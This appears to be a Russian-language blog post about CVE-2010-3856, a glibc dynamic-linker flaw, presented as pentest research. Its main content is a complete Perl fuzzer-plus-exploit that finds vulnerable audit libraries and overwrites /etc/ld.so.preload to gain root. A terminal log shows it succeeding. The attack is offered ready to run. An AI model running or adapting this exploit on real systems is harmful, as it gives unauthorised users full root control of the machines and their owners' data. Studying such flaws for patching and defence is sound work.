Тестирование методом fuzzing и эксплуатация уязвимости CVE-2010-3856

Уязвимость «The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads», обнаруженная Taviso Ormandy в конце 2010 года, заставила многих пользователей патчить свои системы в кротчайшие сроки.

Уязвимость заключается в том, что непривилегированный пользователь может, используя режим аудита связывания программ (LD_AUDIT) в ld.so вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, исполнить код с максимальными привилегиями в системе.

В описании уязвимости упоминаются только несколько потенциально опасных библиотек, а именно liblftp-tasks.so.0 и libpcprofile.so. Но на самом деле в системе их может быть значительно больше. Если у вас нет этих библиотек, то это еще не значит, что система не уязвима.

Как метод эксплуатации был представлен способ создания файла бекдора и запуск его с максимальными привилегиями через добавления задачи в cron. Что не универсально.

Проведя небольшое исследования на данную тему, был написан простой фаззер, позволяющий выявить все библиотеки в системе, которые могут быть использованы для компрометации системы при наличии уязвимости, описанной Taviso Ormandy. Как дополнение к фаззеру, позволяющее проверить результативность эксплуатации найденной бреши, был разработан эксплоит для повышения привилегий использующий метод подмены файла /etc/ld.so.preload. Это позволяет получить максимальные привилегии в системе в кротчайшее время, что для пентеста порой достаточно критично. Код приведен ниже.

#!/usr/bin/perl
use POSIX;
$ptxt=»

[The GNU C library dynamic linker will dlopen arbitrary DSOs
during setuid loads]
[desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu]

«;
print $ptxt;
our $old_fh=select(STDOUT); $|=1; select($old_fh);
# you can add your own paths to lib folder here
@libdirs=(«/lib»);
$tempdir=»/tmp/fuzz/»; # temp directory
mkdir($tempdir);

#make some ascii
$total=0;
foreach $libdir (@libdirs) {
opendir(my $dir, $libdir);
@lf = readdir($dir);
closedir $dir;
$total=$total+scalar(@lf)-2;
}
$step=ceil($total/50);
$stepp=0;
print «0%».» «x6 .»20%».» «x6 .»40%».» «x6 .»60%».
» «x6 .»80%».» «x6 .»100%\n»;
print «\[«;
foreach $libdir (@libdirs) {
opendir(my $dir, $libdir);
@libfiles = readdir($dir);
closedir $dir;
foreach $libfile (@libfiles) {
$stepp++;
if ($stepp==$step) {print «.»;$stepp=0;}
if (($libfile ne «.») && ($libfile ne «..»)) {
@dump=`strings $libdir\/$libfile`;
foreach $dline (@dump) {
if ($dline=~/^([A-Z\_0-9]+)$/) {
chomp($dline);
$ccc=`LD_AUDIT=»$libfile» $dline=»$tempdir
$libfile-$dline» ping&>/dev/null`;
}
}
}
}

}
print «\]\n»;

print «Fuzzing done. Thank you for using!\n»;

opendir(my $dir, $tempdir);
@fuzzList = readdir($dir);
closedir $dir;
$libToExploit=»»;$argToExploit=»»;
if (scalar(@fuzzList)>2) {
foreach $fuzzFile (@fuzzList) {
if ($fuzzFile ne «.» && $fuzzFile ne «..») {
my ($lib,$param)=$fuzzFile=~/(.*)-(.*)/;
print «Success: vuln lib — $lib ; arg — $param\n»;
if ((-e «$tempdir$fuzzFile») && (!-d «$tempdir$fuzzFile»)) {
$libToExploit=$lib;
$argToExploit=$param;
}
}
}
} else {
print «Fail. No vuln libs found. Try another target ;)\n»;
exit();
}

$shCode=qq(#!/bin/sh
umask 0
LD_AUDIT=EXP_LIBRARY EXP_ARGUMENT=/etc/ld.so.preload ping
echo «[+] creating /tmp/getuid.so»
echo «int getuid(){return 0;}» > /tmp/getuid.c
gcc -shared /tmp/getuid.c -o /tmp/getuid.so
echo «/tmp/getuid.so» > /etc/ld.so.preload
);

if ($libToExploit ne «» && $argToExploit ne «») {
$shCode=~s/EXP_LIBRARY/$libToExploit/gi;
$shCode=~s/EXP_ARGUMENT/$argToExploit/gi;
open(SH,»>spl.sh»);
print SH $shCode;
close(SH);
chmod(0755,»spl.sh»);
system(«./spl.sh»);
print «Hehe.. Type ‘su’ and be awesome!\n»;
}

Пример использования:

dummy@bt:~$ perl spl.pl

[The GNU C library dynamic linker will dlopen arbitrary
DSOs during setuid loads]
[desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu]

0% 20% 40% 60% 80% 100%
[………………………………..]
Fuzzing done. Thank you for using!
Success: vuln lib — libpcprofile.so ; arg — PCPROFILE_OUTPUT
Success: vuln lib — libmemusage.so ; arg — MEMUSAGE_OUTPUT

Memory usage summary: heap total: 0, heap peak: 0, stack peak: 0
total calls total memory failed calls
malloc| 0 0 0
realloc| 0 0 0
(nomove:0, dec:0, free:0)
calloc| 0 0 0
free| 0 0
Histogram for block sizes:
ERROR: ld.so: object ‘libmemusage.so’ cannot be loaded as
audit interface: undefined symbol: la_version; ignored.
Usage:
ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 …] destination
[+] creating /tmp/getuid.so
Hehe.. Type ‘su’ and be awesome!
dummy@bt:~$ id
uid=0(root) gid=1001(dummy) euid=1001(dummy) groups=1001(dummy)
dummy@bt:~$ su
root@bt:/home/dummy# exit

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.